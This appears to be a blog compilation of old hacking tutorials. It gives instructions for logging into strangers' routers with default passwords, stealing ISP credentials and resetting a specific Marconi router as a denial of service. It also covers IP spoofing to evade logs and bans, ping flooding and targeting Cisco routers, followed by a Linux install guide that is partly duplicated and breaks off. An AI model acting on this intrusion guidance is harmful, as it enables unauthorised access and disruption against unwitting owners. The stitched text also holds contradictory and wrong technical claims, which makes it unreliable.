You can access someone else's Router over the Internet, login and change settings or even steal their ISP ( internet service provider ) details. When you Telnet to a Router and it brings up the login screen it sometimes will show you what make and model the Router is. Then check the default password list and see if you can login with those default login details and obtain access to the Router. If the person who's Router it is has not changed the Router's default login details you should be able to access the Router easily. Most home users do not change the default passwords. When you access someone else's Router over the Internet, you can change settings, forward ports, reset the Router or even steal their ISP ( internet service provider ) details.
Telnetting to a Marconi ADSL Router with the CX82310 chip from Conexant on port 23 will give the following output:
01/01/99 CONEXANT SYSTEMS, INC.=20 00:04:10 ATU-R ACCESS RUNNER ADSL TERMINAL (Annex A) 3.21 = =20 =20
LOGIN PASSWORD>
And logging into the Router will bring up the main menu:
01/04/99 CONEXANT SYSTEMS, INC. 02:00:45
ATU-R ACCESS RUNNER ADSL TERMINAL (Annex A) 3.29
MAIN MENU
1. SYSTEM STATUS AND CONFIGURATION
2. ADSL MENU
4. REMOTE LOGON
Q. LOGOUT
ENTER CHOICE-->
This specific Marconi Router has a vulnerability which if you Telnet to the Router on port 254 ( as shown above ) and the enter key is pressed ( blank login password ) you will gain access to the Router. In this menu you will be able to remotely reset to factory settings, allowing a permanent denial of service attack until reconfigured manually.
Another vulnerability of this Marconi Router is that when you connect to the Router with the web based GUI ( graphical user inteface ) you will be able to see the ISP password when viewing the webpage source.
http://192.168.10.200/Bconfig /System.sht
********************************************************
It's the basics of hacking you have to know, I hope its been useful, good luck!
Before U Hack (Basics)
BEFore U Hack
----------------------------------
Table of Contents:
----------------------------------
Before you start:
- What is an IP address?
- What is an ISP?
- What is a TCP/IP packet?
- How to spoof your IP
- How to use Telnet
- How to use HyperTerminal
- How to use Ping
- How to use TraceRoute
- How to use a proxy server
Stuff you'll need to know BEFORE you start:
-----------------------------------
What is an IP address?
IP stands for Internet Protocol, IP addresses are used by other computers to identify computers that connect to
them. This is how you can be banned from IRC, and how they can find your ISP. IP addresses are easily obtained, they
can be retrieved through the following methods:
-you go to a website, your IP is logged
-on IRC, anyone can get your IP
-on ICQ, people can get your IP, even if you have the option set "do not show ip"
they can still get it
-if you are connected to someone, they can type "systat", and see who is connected to them
-if someone sends you an email with IP-logging java, they can also get your IP address
There are many more ways of obtaining IP addresses, including using back-door programs such as Sub7 or NetBus.
------------------------------------
What is an ISP?
ISP stands for Internet Service Provider, they are the ones that give you the internet. You connect to one everytime
you dial-up and make a connection. People can find your ISP simply by running a traceroute on you (traceroute is
later explained). It will look something like this:
tracert 222.222.22.22
Tracing route to [221.223.24.54]
over a maximum of 30 hops.
1 147ms 122ms 132ms your.isp [222.222.22.21]
2 122ms 143ms 123ms isp.firewall [222.222.22.20]
3 156ms 142MS 122ms aol.com [207.22.44.33]
4 * * * Request timed out
5 101ms 102ms 133ms cisco.router [194.33.44.33]
6 233ms 143ms 102ms something.ip [111.11.11.11]
7 222ms 123ms 213ms netcom.com [122.11.21.21]
8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]
9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< target's isp
10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54]
Trace complete.
-----------------------------------
What is a TCP/IP packet?
TCP/IP stands for Transmission Control Protocol and Internet Protocol, a TCP/IP packet is a block of data which is
compressed, then a header is put on it and it is sent to another computer. This is how ALL internet transfers occur,
by sending packets. The header in a packet contains the IP address of the one who originally sent the packet. You
can re-write a packet and make it seem like it came from anyone!! You can use this to gain access to lots of systems
and you will not get caught. You will need to be running Linux or have a program which will let you do this. This
tutorial does not tell you to use this on a Cisco router, but it does come in handy when hacking any system. If
something goes wrong when you try to hack a system, you can always try this...
------------------------------------
How to spoof your IP:
Find a program like Genius 2 or DC IS, which will let you run IdentD. This will let you change part of your
computer's identity at will! Use this when you get banned from some IRC chat room.... you can get right back in! You
can also use it when you are accessing another system, so it logs the wrong id...
------------------------------------
How to use telnet:
You can open telnet simply by going to your Start Menu, then to Run, and typing in "telnet".
Once you have opened telnet, you may want to change some features. Click on Terminal>Preferences. Here you can
change the buffer size, font, and other things. You can also turn on/off "local echo", if you turn local echo on,
your computer will show you everything you type, and the other computer you are connected to will show you aswell.
So you may get something like this;
You type "hello", and you get
hhelelollo
This is because the information has bounced back and got scrambled with what you typed. The only reason I would use
this is if the machine does NOT return what you are typing.
By default, telnet will connect to a system on the telnet port, which is port 23. Now you will not always want to
connect to port 23, so when you go to connect, you can change the port to maybe 25, which is the port for mail
servers. Or maybe port 21, for FTP. There are thousands of ports, so make sure you pick the right one!
----------------------------------
How to use HyperTerminal:
HyperTerminal allows you to open a "server" on any port of your computer to listen for incoming information from
specified computers. To use this, go to
Start>Programs>Accessories>Communications>HyperTerminal. First you will need to select the connection, pick "TCP/IP
Winsock", and then put in the computer to communicate with, and the port #. You can tell it to listen for input by
going to Call>Wait for Call. Now the other computer can connect to you on that port, and you can chat and transfer
files.
----------------------------------
How to use Ping:
Ping is easy, just open the MS-DOS prompt, and type "ping ip.address", by default it will ping 3 times, but you can
type
"ping ip.address -t"
Which will make it ping forever. To change the ping size do this:
"ping -l (size) ip.address"
What ping does is send a packet of data to a computer, then sees how long it takes to be returned, which determines
the computer's connection speed, and the time that it takes for a packet to go back and forth (this is called the
"trip time"). Ping can also be used to slow down or even crash a system if the system is overloaded by ping floods.
Windows 98 crashes after one minute of pingflooding (it's connections buffer is overflown - too many connections are
registered, and so Windows decides to take a little vacation).
A ping flood attack takes a lot of bandwidth from you, and you must have more bandwidth than your target (unless
the target is a Windows 98 box and you have an average modem, that way you'll knock it down after approximately a
single minute of ping flooding). Ping flooding isn't effective against stronger targets, unless you have quite a few
evil lines to yourself, and you have control over a few bandwidth-saavy hosts that can ping flood your target as
well.
Note: DOS's -t option doesn't do a ping flood, it just pings the target continously, with intervals from one ping to
another. In every Unix or Linux distribution, you can use ping -f to do a real pingflood. Actually ping -f is
required if you want your distribution to be POSIX-compliant (POSIX - Portable Operating System Interface based on
uniX), otherwise it's not a real Unix/Linux distribution, so if you have an OS that calls itself either Unix or
Linux, it has the -f switch.
----------------------------------
How to use TraceRoute:
To trace your connection (and see all the computer's between you and a target), just open the MS-DOS prompt, and
type "tracert ip.address" and you will see a list of computers, which are between you and the target computer.
You can use this to determine if there are firewalls blocking anything. And will also allow you to determine
someone's ISP (internet service provider).
To determine the ISP, simple look at the IP address before the last one, this should be one of the ISP's routers.
Basically, this is how traceroute works - a TCP/IP packet has a value in it's header (it's in the IP header. If you
don't know what this means, then ignore it and continue reading, it's not that crucial) called TTL, which stands
for Time To Live. Whenever a packet hops (travels through a router) it's TTL value is decreased by one. This is just
a countermeasure against the possibility that something would go wrong and a packet would ricochet all around the
net, thus wasting bandwidth.
So when a packet's TTL reaches zero, it dies and an ICMP error is sent back to the sender.
Now, traceroute first sends a packet with a TTL value of 1. The packet quickly returns, and by looking at the
sender's address in the ICMP error's header, the traceroute knows where the packet has been in it's first hop. Then
it sends a packet with a TTL value of 2, and it returns after the second hop, revealing it's identity. This goes on
until the packet reaches it's destination.
Now isn't that fun? :-)
----------------------------------
How to use a proxy server:
Do a search on the web for a proxy server which runs on the port of your choice. Once you find one, connect to it
with either telnet or hyperterminal and then connect to another computer through the proxy server. This way the
computer at the other end will not know your IP address.
----------------------------------
Section 1: why hack a cisco router?
You probably are wondering.. why hack into a cisco router?
The reason being is that they are useful when it comes to breaking into other systems...
Cisco routers are very fast, some with 18 T1 connections on one system, and they are very flexible and can be used
in DoS attacks or to hack other systems since most of them run telnet.
They also have thousands of packets going through them at any one time, which can be captured and decoded... A lot
of cisco routers are also trusted systems, and will let you have a certain amount of access to other computers on
it's network.
INTRODUCTION TO LINUX (hacking-machine)
1.0 - Intro
Linux- sometimes referred to by the press as 'Windows NT's worst enemy'.
Wired Magazine once called it 'The greatest story never told'. This is a
perfect definition because the story behind Linux is indeed a great one, yet
it is unknown to so many people. Let's start at the beginning.
Back when 'Stayin' Alive' was still topping the charts, and Microsoft was
a spec in the world of computers, AT&T produced a multi-user operating
system and labeled it 'UNIX'. Throughout the years, UNIX caught on and
many different versions of it began to come out. A popular one, called
'Minix' (mini-UNIX) was available for use at The University of Helsinki in
Finland. A student at the University named Linus Torvalds believed he
could create an operating system superior to Minix. In 1991 he started
his new operating system as a side project, but it soon developed into a
full-time hobby until 1994 when the first official version of the
operating system was released.
You're probably now saying 'so what's the big deal about Linux? Isn't it
just another operating system?' Absolutely not! First of all, Linux is
released under something called 'open source license'. Open source is really
more of an idea than a thing. Linux is released with all the source code and
files that it was made with. This means a few things. Anyone who is good
at programming can mess with the Linux code and release his own version of
it. This also means that even though if you buy Linux in a store it will
cost money, you're not paying for the actual Linux itself. Your money goes to
the price of packaging, the extra software that comes with the operating
system, and technical support. The second, and most important reason that
Linux is a big deal is because it's a much more stable operating system than
Windows. It runs on any system; even bottom of the line 386's from before
Linux even came out. Programs running under Linux almost never crash, and in
the off chance that one does because of bad programming by the program author,
it will not take the operating system down with it. Another important reason
Linux is good is that it is secure. It is much harder to bring down by a
hacker than Windows is (for further reading, read the 'Basic Unix Security
Guide' by R a v e N at blacksun.box.sk). This is just an extremely short list
of the reasons why Linux is so great. For further reading check out
www.linux.org
This tutorial is for Windows users who want to migrate to Linux. This is
written for Redhat or Mandrake Linux (the two most easy-to-install and
user-friendly Linux distributions), but the information here will most probably
help you with whatever distribution you are using. The only problem with this
is that Mandrake and RedHat are relativley simple to install, and some other
distrobutions are much more complex. I highly suggest you buy Linux-Mandrake
rather than RedHat. Mainly because it is cheaper and comes with more
software, but as you read through this tutorial, you'll see more reasons why I
recommend Mandrake.
The first thing you're going to have to do with your new operating system is
install it- but you can't do that so quickly.
2.0 - Preparation
If you already have Microsoft Windows on your system and you want it to
co-exist with Linux, you are going to have to create another hard drive
partition. What a hard drive partition is a totally separate part of a
hard drive. If two hard drive partitions weren't physically part of the
same disc, they would be two different hard drives. Anyway, the reason
for this is that Windows and Linux are totally different in the way they
access hard drives and handle files. If they are using each other's hard
drive space the two operating systems can conflict and cause major problems
for your computer. Well, as I was saying, you need to create a hard drive
partition reserved for Linux. There are MS-DOS programs that do this, but
they are "lethal" partition making programs. By this I mean that while making
a new partition, they can destroy or at least corrupt files on another
partition. If you want to make a partition for Linux, without killing your
Windows files you need a "non-lethal" partition program. If you get
Linux-Mandrake, a "non-lethal" partition program is included with it (this is
just one of the reasons why I recommend Mandrake over RedHat).
Well with all this talk of partitions and hard drives, you must be wondering
roughly how much hard drive space you'll need for Linux. If you want the
complete system with everything, you'll need about 1.5 gigabyte+ hard drive
space. However it is possible to productively run a full Linux distribution
(there are "miniature" Linux distributions that range from around 2 to 35
megabytes, and there's also Trinux, which runs from two 1.44MB floppy disks!
Get it from www.trinux.org) to with as little as 150 megabytes. Trust me, you
don't want EVERYTHING. Linux comes with tons of software you'll probably won't
need. For example: Linux comes with a variety of network servers - a web
server, a Sendmail server, a telnet server, an FTP server etc'. If you choose
not to install something and then regret, you can still get it later off the
original installation CD.
So anyway, if you have sufficient hard drive space, and a "non-lethal"
partition program, you're ready to proceed to the next step: installation.
***Even if you're using a "non-lethal" partition program, I suggest you
backup your Windows files just in case something goes wrong.***
3.0 - Installation
Now that your computer is ready for Linux, you're ready to install it.
When you bought the software, it probably came with a few CD's and a disk.
The disk is boot disk for the Linux installation program. You pop in the
disk, reset your computer, the installation program begins, and you're
ready to install Linux. The only thing is that the installation program
will take a while to load since it's from a disk.
**The stuff on the disk is probably just a duplicate of some of the stuff
on the first CD. If your computer is capable of booting from a CD (and
most newer ones are, otherwise, check your manual) then instead of putting
the disk in your computer then rebooting, put in the first CD as it will
load much quicker. Of course, you'll need to mess with your BIOS
configurations first, but that's no big deal. Hit del when your computer
boots up (after it tells you how much RAM you have) and mess around with it
until you can find out how to make your computer attempt to boot from your CD
drive first. This differs from different BIOS systems.**
3.1 - Ok..You're finally ready to install Linux.
The first few questions the install program asks you are self explanatory,
just things like your language and stuff. One thing you might get stumped
on is when you are prompted on whether you have any SCSI adapters or not.
An SCSI adapter can be anything such as a mouse, printer, scanner, etc. It
all depends if you have an SCSI controller. Chances are, you don't have any
SCSIs, but check your manual to be sure. Also, if you are completely sure
that your copy of Microsoft Windows is properly-configured, you can quit the
installation program at any time, return to Windows, run control panel, click
on system and find out all the information you'll need about your system's
hardware.
3.2 - More Partition Stuff
The next thing you might have trouble with is a dialog box that appears
asking you some questions about your hard drive partitions. The name of
the dialog box should 'Disk Setup'. There should be three buttons on the
bottom of the box. One labeled 'Disk Druid', another labeled 'fdisk', and
the last is the back button. Since you already set up your partitions,
select 'Disk Druid'. If you originally only had one partition with
windows, then the top of the screen should look something like this:
Mount Point Device Requested Actual Type
hda1 ??MB ??MB Win95
hda2 ??MB ??MB Linux Swap
hda3 ??MB ??MB Linux Native
Mount point should be blank.
'Device' is the name of the partition
'Requested' is the amount of hard drive space you wanted for the partition
'Actual' is the amount of hard drive space that is really in the partition
'Type' is what's in the partition
**The 'requested' and 'actual' sections for the 'Linux Swap" type should
be the amount of RAM you have.**
**It looks confusing, but in reality if it is simple. Don't worry if your
screen doesn't look exactly like my diagram, it probably won't.**
What you should do now is select the 'Linux Native' section (by pressing
tab to get to that part of the screen, then using the arrow keys) and then
press tab again until the 'edit' button is highlighted. Pressing spacebar
will bring up another dialog box. In the space provided, put a slash (/)
then press OK. Now you're back at the main screen. Press tab to get to
OK, and then press spacebar.
**what you're actually doing here is telling the computer to put the root
directory, signified by the slash, in the Linux Native partition. The
root directory '/', is similar to 'C:\' in DOS/Windows.**
Next you come to a screen asking which partitions to format. Select the
one that 'Linux Native' is in. You should select the '/dev/xxxx/'
partition where 'xxxx' is the name of the device that the Linux Native
partition is under. This is where you put the '/' on the last screen. If
the Linux Native partition device was hda3 then choose '/dev/hda3', if it
was hda6, then choose '/dev/hda6', you get the point.
**IT IS VERY IMPORTANT THAT YOU DO NOT SELECT THE WRONG PARTITION TO
FORMART!**
3.3 - Selecting What to Install
Suppose you had three hard drives on Windows - c:\, d:\ and e:\, and you
want to install Linux on d:\. Windows assigns the letter c to the first
hard drive it finds that has a DOS/Windows file partition, d to the second
DOS/Windows-compatible hard drive etc', so this might help you out
determining which device to choose. Also, if you turn d:\ into the Linux
hard drive, it will disappear from DOS/Windows, and e:\ will turn into
d:\.
You're not finished yet, but take a sigh of relief, the hardest part is
over. Next comes the screen asking which packages to install. Some of
the most important ones are selected already. If you have a lot of hard
drive space, select all the other packages. Otherwise, just select the
others that you think are important. Definitely select 'KDE' and 'GNOME'.
Those are window manager programs for the X-Windows system (a GUI - Graphical
User Interface), and we'll deal with them later. Anyway, newer versions always
come with new software and/or updates for old software.
Press OK and the Linux installation begins!
3.4 - Misc. Configurations
After everything has been installed, you are prompted for more things.
The first should be what resolution your monitor is. Most people would
like to use the same resolution they use on Windows, so if you don't know
which resolution you were using until now, switch back to Windows,
right-click on your desktop area, click properties and find the settings
tab. You should see your current resolution there. This would probably be
the same resolution you would want to use on Windows. If you want a higher
resolution, consult your monitor's manual to find out how high you can go.
Next is the mouse configuration. If your mouse is not on the list, select
'Generic PS/2 Mouse'.
There are more such as clock set and time zone but those are
self-explanatory. After this, comes the services screen. These are the
things that will startup when you run Linux. Then it will prompt you for
if you want the X-Windows interface to run when you start Linux. If you are a
Linux newbie (and you probably are, unless you weren't reading this guide), I
suggest you do this. X windows is the GUI system, as explained before.
The last configuration is the printer. This is self-explanatory.
3.5 - Configuring Users
Ok...you're almost done; the configurations are pretty much finished. Now
you will be prompted to create a password for the root operator. Even though
it is still very popular on single home users, Linux is a multi-user operating
system. Even if you'll be the only person using your computer, having a
multi-user system is quite benefical. For example: you can use a
less-privileged user to prevent yourself from doing stupid things and messing
things up. You can run sensitive software which can be broken to (say, some
sort of a server. For example: a Sendmail server for outgoing mail if you're
planning to let people sent mail from your machine, or a web server if you
want to serve a website off your computer) as a less-privileged user, so if
someone will manage to exploit some hole in this software, he will have very
limited privileges (up to what the program needs to run properly) and he won't
be able to do much, or nothing at all in most cases (he won't have read
access to password files, he won't have write access to the website's files
so he won't be able to alter them etc'). On any UNIX-based system (and there
are many) the main user is called 'root'. The root has supreme power over the
system and supreme power over all the other users. In fact, he has unlimited
power (unless he or another root-privileged user chooses to impose access
limits, but root-privileged users can always restore their rights to the
fullest).
My root password is a particularly simple one. Mainly because I am the
only one who uses Linux on my computer (and besides that I trust my own
family!) and that my Linux system is not connected to the Internet (so
hackers [or crackers I should say] would have no way to get into my
system). Make your password anything not to complicated that you'll
forget it, but something that is very hard to guess.
After you're done making a password for the root user, you're prompted to
create an unprivileged, or ordinary user account. You make the user name,
credentials, and password. It may seem pointless at first to create
another user- especially an unprivileged one if you are the only one who
is going to be using Linux. However there is a big advantage to it. As a
root user, you can do anything to the system, including seriously messing
it up. Nothing will stop you because you are root. An ordinary user
account is like security so if you mess up, the system will stop you.
3.6 - Booting Configurations
Next you are asked if you want to create a boot disk. I strongly recommend
this because it will put the Linux boot stuff on the disk, not your computer.
If you put the Linux boot stuff on a computer with windows, it may conflict
with the windows boot stuff in case you ever reinstall Windows (go to
blacksun.box.sk/byteme.html and read #18 for a good example).
The Linux 'boot stuff' I'm talking about is a program called 'LILO'.
That's short for 'Linux Loader'. Anyway LILO installs itself to the boot
sector of the computer. The problem is that Windows also installs stuff
to the boot sector. LILO can install over Windows and let you choose to
either boot up Linux or Windows whenever you start up your computer. If you
choose Windows, it'll use Windows' "boot stuff".
Anyway, in my opinion, when the install program asks you to create a boot
disk, click Ok, then follow the directions to create a boot disk. Oh yeah,
by the way, when you make a boot disk, it puts LILO on that disk. When it
asks you to install LILO, just press Skip (unless you want to install
LILO, which most users will).
Congratulations! You're done installing Linux! When the installation
program ends, take the installation boot disk out of the drive. If you
booted the installation from CD, don't forget to take that out too.
4.0 - Running Linux
I bet you're glad to finish that installation! Now you're finally ready
to run the system. If you decided to create a boot disk, insert that into
the disk drive. If you decided to install LILO, just sit tight for now.
Regardless of what you did, reset your computer. If you used LILO, you
will get a prompt to load Linux or Windows. If you used a boot disk, the
system will startup automatically.
After the system starts up, the will get prompted for a user name and
password. This will look different depending on how you configured it in
the installation. If you chose to start the X Windows GUI automatically,
the username and password screen will look like it does in Windows (well,
sort of. X-Windows is much cooler, unless you're using some lame version of
it or some lame window manager). If you chose not to load the X Windows
interface at startup (like most advanced users will), you'll be presented
with a text-based interface. The text-based interface (the command console)
is much faster than the graphical system, but this also means you cannot view
any graphics until you start X-Windows (this is a good time to mention that
most people just call it X). Anyway, you can always run a command console
from an X window (usually called an "XTerm", which stands for X Terminal).
Anyway, the login screen will look pretty much the same regardless of
whether you are using RedHat or Mandrake.
If you're wondering what to type in the username box, that's easy. Your
username is 'root' (remember?). The password is the one that you selected
at installation.
5.0 - Using Linux
5.1 - Intro To The Console
Even though you'll probably be able to do everything with ease using the X
Windows GUI, there is still some stuff you should know. First off, don't
rely on a GUI for everything! That is very important because you will
learn a lot by using the console. The console is more powerful and can do a
lot of things you would REALLY like if you'll just grab a good basic Unix book
and start learning. After you do, you'll find yourself often opening an XTerm
window to run some console commands which you cannot run from X. If you
selected to start the GUI interface when Linux loads up, there are still lots
of ways to get to the console.
The console prompt should look somewhat like this (if you're logged in as root):
[root@localhost.localdomian]#
The first part identifies who you are, and the '#' is the actual prompt.
Any almost and UNIX type system, the '#' means you are root. On non-root bash
consoles (BASH - Bourne Again Shell. BASH is the most popular text-based
shell. Confused? Don't worry, we'll get to that in a second) this will be
replaced with a $. Anyway, you can change the prompt, but we won't get into
that now.
5.11 - Shells
You use a shell everytime you're in the Linux console. What a shell is,
is the program that communicates between you and the Kernel (the kernel is
the core of the system). Let's think of it as an interpreter for for two
people who are trying to have a meeting, except they don't speak the same
language. One speaks English and the speaks, oh let's say Hebrew (about half
the members of Black Sun Research Facility (blacksun.box.sk if you don't
know the URL yet. Also, if you havn't noticed, I'm a member of BSRF) are from
Israel). To communicate with each other they need a guy who speaks both
English and Hebrew. If the English guy wants to tell the Hebrew guy
something, he tells it to the interpreter in English, and then the
interpreter tells it to the other guy in Hebrew, and vice versa. Well
anyway, getting back to the subject, this is the case with Linux. Your
language is the Linux commands, and the Kernel speaks it's own very complex
language. When you want to talk to the Kernel, you tell shell in your
language, and the shell tells it to the Kernel in it's language. On any Linux
system, there a few shells. Some of them are:
ash
bash
bsh
csh
tcsh
zsh
The most popular and powerful shell is 'bash' (borne again shell). We
won't go that much into shells, because you don't need to know that much
about them just yet.
5.2 - Navigating The File System
The most important thing to know when using the console is how to navigate
the file system without a graphical program.
The first thing to understand about this is that the bottom directory, the
directory that everything else is a subdirectory of is '/'. It's like
'C:\' in Windows.
Ok, you start at the console and as a default you're either in your home
directory (every user has a home directory which contains his personal
configurations files). Now you want to navigate to another directory. But
wait, you don't know any other directories! You'll a directory listing for
this, right? To do this type 'ls' at the prompt. 'ls' is the equivlant to
'dir' in MS-DOS, and stands for list. You'll get a list of files and
folders. To make the list a bit more readable, try ls -Fla. The -a shows
files which start with a period (for example: .Xclients-default). The -l
displays file permissions and displays everything in neat columns. The -F
option adds a / after a directory and a * after an executable file. I also
suggest using ls -Fla --color to let the system color-code different files
(may not be available on some systems).
Anyway, now that you what directories there are, you need to know how to
get into them. Luckily, you use the same command as you you use in
MS-DOS, the 'cd' (change directory) command. Let's say you're at the
bottom directory, '/' and you want to get to '/root'. You simply type
'cd root'. There is no need to type 'cd /root', because you're already in
'/'. Now let's say you want to get to '/root/bin'. This would be done by
typing 'cd bin'. There is no need to type 'cd /root/bin' (the "full path" of
the directory), since you're already in '/root'. Instead, you can use a
"relative path", which is a path that is relative to the current directory
you're in. Type pwd to find out where you are (pwd stands for print working
directory).
Now let's say you're in '/root/bin' and you want to get to '/usr'. You would
type 'cd /usr'. This is to signify that the 'usr' directory is under '/', not
'/root/bin', or even '/root'. Got it? Ok, just one more thing. If you're in
a subdirectory, and you want to get to the top directory, just type 'cd ..'.
Let's say you're in '/root/bin', and you want to get to '/root'. You could
just type 'cd /root', but hey, '/root' is five characters! If you want to
save precious miliseconds, just type 'cd ..', since '/root' is the directory
in which '/root/bin' is a subdirectory of. So in other words, . is the
current directory, .. is one directory above, ... is two directories above
etc'.
5.3 - Basic File and Directory Commands
There are lots of file and directory commands in Linux, but we'll start
with directory commands because they're easier. First off, you have
'mkdir'. 'mkdir' stands for make directory and the context is:
mkdir the_directory_you_want_to_make
Some rulse apply. If you're '/', it will make the new directory under
'/'. If you're in '/usr', it will make the directory under '/usr'. Of
course though, if you're in '/' and you want to make a directory called
'stuff' under '/usr', you would simply type '/usr/stuff'.
The next command is the 'rm' command. It works with files and direcotires
and is used to delete some, it stands for 'remove'. If you want to remove
a file called 'this.gif', you would go to the directory where that file is
and type 'rm this.gif'. Or let's say again you're in '/' and 'this.gif'
is in '/usr', you would type 'rm /usr/this.gif'. It works the same way
with a directory.
Next are the 'cp' and 'mv' commands. They're both relativley simple, but
we'll start with 'cp'. 'cp' stands for copy, and is used to copy a file
from directory to another. The context is:
cp /directory_where_it_is/filename /directory_where_you_want_to_copy_it
Of course if you're already in the directory where the file is, all you
need to type is:
cp filename /directory_where_you_want_to_copy_it
'mv' works the exact same way, except it moves the file instead of copying
it. This means it deletes in from the original directory and puts it in
the new one.
5.4 - Finding and Viewing Commands
To find a file, oyu use the 'find' command. It then followed by the
directory where you want to start looking, then the '-name' arguement to
say that you're searching for a filename. Next you type the name of the
file. Let's say you're looking for the 'this.gif' in the '/usr'
directory, the context would look like this:
find /usr -name this.gif
The find command doesn't stop at filenames, it can also search a file for
a paticular string of text. It has the same context as the find file
command except you put quotes and asteriks around the string of text. So
if you wanted to search the '/usr' directory for a file containing the
string 'hello', you would type
find /usr -name "*hello*"
Ok, once you find a file, you want to view it right? Well, you could open
the file with a text editor, but we haven't learned to use tetx editors
yet, and anyway if the file you want to view is important you might
accidently change it and save it using a text editor. That's what the
'cat' command is for. Let's say you want to view a file called
'stuff.txt' in '/root'. You would navigate to the '/root' directory and
type 'cat stuff.txt'. Or from any directory, type 'cat /root/stuff.txt'
-= For more commands, buy a good basic Unix book =-
5.5 - linuxconf
There are lots of commands in Linux for configuring everything to user
passwords, networks, and the message that comes up when you start Linux. With
so many things to configure, luckily there is one program that does it all.
Just type 'linuxconf' at the command prompt, and you'll be brought to the
Linux Configuration program.
5.6 - Mounting
5.61 - Mounting Drives
In Linux, drives not only have to be physically mounted to the computer, but
mounted in software too. In the KDE and GNOME GUIs, you can easily mount a
CD-ROM or disk drive by clicking on the 'CD-ROM' or 'Disk Drive' icons on the
desktop.
5.62 - How to mount
Remember earlier in this tutorial when we went over how a hard drive partition
is almost like a separate hard drive? Well, just like a separate drive,
partitions also have to be mounted. The main use in this is being able to
mount Windows partition and access Windows files in Linux. Obviously, Windows
software will not run under Linux but there is still a use for accessing
Windows files in Linux.
Let's say you can't use the internet in Linux. You ISP only allows to
dialup with software and they don't make it for Linux, you're not used to
Linux yet so you don't want to use the net in it yet. This is a down
point, but it doesn't mean you can't download Linux files to use. All you
have to do is download the files in Windows and access them in Linux.
To mount a windows partition in Linux, yhe first thing you must do is
create a directory in Linux where you will mount the windows partition to
reside. Go into file manager (it should be under utilities no matter what
distribution you're using) and create a new directory under '/'. Call
anything, I suggest calling it 'windows'. Now exit file manager and go
into 'terminal' (should also be under utilities). Terminal will give you a
command prompt just like MS-DOS. This is what you would have to do
everything from if there were no X Windows GUI. The command to use is
simply enough- 'mount'. But don't type it just yet, you need to give the
system more info. The full command is
mount -t vfat /dev/xxxx /yyyyyyy (yes there is a space between 'xxxx' and '/')
Or mount -t vfat32 /dev/xxxx /yyyyyyy in case this is a FAT32 partition.
Where 'yyyyyyy' is the directory you just created, and 'xxxx' is the device
name of the partition where Windows resides. It is usually hda1 or something.
There, now just go into file manager and click on the directory you created
and you will have all the files that are on your windows partition.
When you're done, don't forget to unmount the drive by typing:
umount /dev/xxxx /yyyyyyy
Each time you want to access your windows files, just mount the partition
(unless they're set for automount. Edit /etc/fstab, find the line that
represents your Windows partition and look for a place with says noauto. If
you find the word noauto, change it into defaults. If you don't, your
Windows partition will probably get automounted whenever you boot-up Linux).
When you're done with them, just unmount the partition.
5.7 - Runlevels
While Windows is booting, have you ever pressed the F8 key? Well, if you
have, you're probably familiar with a screen that pops up giving you a
list of ways you can load Windows. There's safe mode, command prompt,
step-by-step confirmation, etc. Linux has something just like that, and
they're called 'runlevels'. There are six runlevels in all, and some are
pretty much the same. A runlevel is a list of commands to load-up as soon
as you start up Linux (there's a mini-tutorial about runlevels at
blacksun.box.sk/byteme.html). Your default runlevel is probably 5. If you
configured the GUI to start up when you boot the system, and if your default
runlevel is 5, then that is the runlevel configured to boot the GUI when it
starts up...simple, right?
Well anyway, if you use linuxconf to change your default runlevel to 2 or
3 or something, then you change it so that the GUI won't start as soon as
the system boots....all without touching the actual runlevel. When you
want to change it back, just use linuxconf to set the default runlevel
back to 5.
Now let's say you only want to load it without the GUI coming up once.
Instead of having to change the configuration in linuxconf, and then
changing it back, you can load Linux into another runlevel. Suppose You
want to load runlevel 2...not for any paticular reason, just because it's
not configured to load the GUI when it boots up, and well, you like the
number 2. To do this, as soon LILO comes up (whether it's on your
computer, or your boot disk), you have the option to type something next
to 'boot:'. Just type 'linux x'. 'x' refers to the number of the
runlevel, in this case the number 2, so you type 'linux 2', and press
enter. This will load Linux without loading the GUI. When you restart
Linux, it will load the default runlevel again.
You are now officially a Linux user. Check out www.linuxlinks.com for
links to some great Linux sites. The best way to learn about Linux is by
messing around with it. In an hour of playing with Linux you can learn a
lot. If you want more interesting yet simple and easy-to-understand tutorials,
check out sighthansraj.blogspot.com
Linux- sometimes referred to by the press as 'Windows NT's worst enemy'.
Wired Magazine once called it 'The greatest story never told'. This is a
perfect definition because the story behind Linux is indeed a great one, yet
it is unknown to so many people. Let's start at the beginning.
Back when 'Stayin' Alive' was still topping the charts, and Microsoft was
a spec in the world of computers, AT&T produced a multi-user operating
system and labeled it 'UNIX'. Throughout the years, UNIX caught on and
many different versions of it began to come out. A popular one, called
'Minix' (mini-UNIX) was available for use at The University of Helsinki in
Finland. A student at the University named Linus Torvalds believed he
could create an operating system superior to Minix. In 1991 he started
his new operating system as a side project, but it soon developed into a
full-time hobby until 1994 when the first official version of the
operating system was released.
You're probably now saying 'so what's the big deal about Linux? Isn't it
just another operating system?' Absolutely not! First of all, Linux is
released under something called 'open source license'. Open source is really
more of an idea than a thing. Linux is released with all the source code and
files that it was made with. This means a few things. Anyone who is good
at programming can mess with the Linux code and release his own version of
it. This also means that even though if you buy Linux in a store it will
cost money, you're not paying for the actual Linux itself. Your money goes to
the price of packaging, the extra software that comes with the operating
system, and technical support. The second, and most important reason that
Linux is a big deal is because it's a much more stable operating system than
Windows. It runs on any system; even bottom of the line 386's from before
Linux even came out. Programs running under Linux almost never crash, and in
the off chance that one does because of bad programming by the program author,
it will not take the operating system down with it. Another important reason
Linux is good is that it is secure. It is much harder to bring down by a
hacker than Windows is (for further reading, read the 'Basic Unix Security
Guide' by R a v e N at blacksun.box.sk). This is just an extremely short list
of the reasons why Linux is so great. For further reading check out
www.linux.org
This tutorial is for Windows users who want to migrate to Linux. This is
written for Redhat or Mandrake Linux (the two most easy-to-install and
user-friendly Linux distributions), but the information here will most probably
help you with whatever distribution you are using. The only problem with this
is that Mandrake and RedHat are relativley simple to install, and some other
distrobutions are much more complex. I highly suggest you buy Linux-Mandrake
rather than RedHat. Mainly because it is cheaper and comes with more
software, but as you read through this tutorial, you'll see more reasons why I
recommend Mandrake.
The first thing you're going to have to do with your new operating system is
install it- but you can't do that so quickly.
2.0 - Preparation
If you already have Microsoft Windows on your system and you want it to
co-exist with Linux, you are going to have to create another hard drive
partition. What a hard drive partition is a totally separate part of a
hard drive. If two hard drive partitions weren't physically part of the
